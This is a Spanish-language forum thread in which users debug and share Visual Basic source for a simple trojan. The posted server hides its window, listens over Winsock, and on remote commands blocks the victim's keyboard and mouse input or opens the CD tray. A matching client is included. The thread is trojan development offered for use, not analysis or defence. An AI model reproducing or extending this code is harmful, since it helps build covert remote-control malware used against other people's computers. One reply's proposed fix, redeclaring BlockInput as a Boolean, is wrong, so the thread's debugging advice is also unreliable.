Hola...he creado un troyano muy sencillo por ahora..para despues irle añadiendo cosas...
Lo que pasa es que me da problemas a generar el exe del servidor ???
Y me da error aqui:
If datos = colgar Then
BlockInput True
End If
Y aqui tambien
If datos = abrir Then
Dim res As Long, ReturnString As String * 127
res = [b]mciSendString[/b]("Set CDAudio Door Open", ReturnString, 127, 0)
End If
End sub
En los dos me da el mismo error, procedimiento sub o fuction no definido
Alguien sabe porque?
Supongo que "abrir" y "colgar" son cadenas.
Saludos.
Abrir y colgar es el comando que llama del cliente hacia el server para que cuelge o cierre...que debo hacer?
hey loko yo hice ese codigo y anda bien he! fijate que tenes todos los modules y todas las variables y apis declaradas
Eso es lo que iba a decir cuando te dice procedimiento o sub no definido es que no lo has declarado por eso no hace nada porque no le has puesto lo que significa :P
Cita de: sorcerer en 16 Agosto 2005, 19:48 PM
hey loko yo hice ese codigo y anda bien he! fijate que tenes todos los modules y todas las variables y apis declaradas
¬¬
Ese codigo es mio...es de un troyano que empece a hacer ara un año y no lo acabe...
Por que tu supuesto troyano tambien tenga esa opcion...no significa que el codigo sea tuyo ¬¬
Pd: No se que puede ser...tengo todo declarado :-\
Insisto, las cadenas van entre comillas...
If datos = "colgar" Then '<----Fijate las comillas en colgar.
BlockInput True
End If
Cuando surjan esos errores de compilación dale una leida a algún manual de VB.
Saludos.
bernu dale que asta las variables estan declaradas como en el mio he! el que no me cree lo invito a sorcerer.es.mw se pueden bajar el codigo de hay
¬¬
Aun me da error al compilarlo...en blockinput...y ya meti las cadenas entre comillas
podes poner todo el codigo y no un pedasito
¬¬
No tengo ganas de que me copien el codigo..
Entonces cuales son las declaraciones que debo hacer?
CitarNo tengo ganas de que me copien el codigo..
Si no existiera gente que hace programas open source estarias ahora en este foro ...
Cita de: NYlOn en 21 Agosto 2005, 04:56 AM
CitarNo tengo ganas de que me copien el codigo..
Si no existiera gente que hace programas open source estarias ahora en este foro ...
Si no existiera gente que hace programas open source
NO estarias ahora en este foro ...
Hay que compartir todo lo que hace uno , va eso pienso y hago yo .Esta bien que uno se puede reservar algo , pero si te quieres reservar algo no lo publiques a codigo abierto xD.
Salu2 ! ;)
gracias x la correccion ;)
en fin se entendio lo que kise decir xD
bue chicos el codigo del el señor es muy parecido a este:
Servidor:
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Private Sub Form_Load()
Me.Hide
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim colgar As String
Dim abrir As String
Winsock1.GetData datos
colgar = "colgar"
abrir = "abrir"
If datos = colgar Then
BlockInput True
End If
If datos = abrir Then
Dim res As Long, ReturnString As String * 127
res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
End If
End Sub
module 1:
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
medule 2:
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
en ese momento no se porque le puse 2 modules, creo que porque los controles de las api los abia copiado de www.lawebdelprogramador.com pero este codigo anda
y el cliente pa los boluss
Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub
Private Sub Command2_Click()
Dim colgar As String
colgar = "colgar"
Winsock1.SendData colgar
End Sub
Private Sub Command3_Click()
Dim abrir As String
abrir = "abrir"
Winsock1.SendData abrir
End Sub
si el problema te le da en el BlockInput alomejor es por que no le as declarado como Boolean:
Dim BlockInput As Boolean
Salu2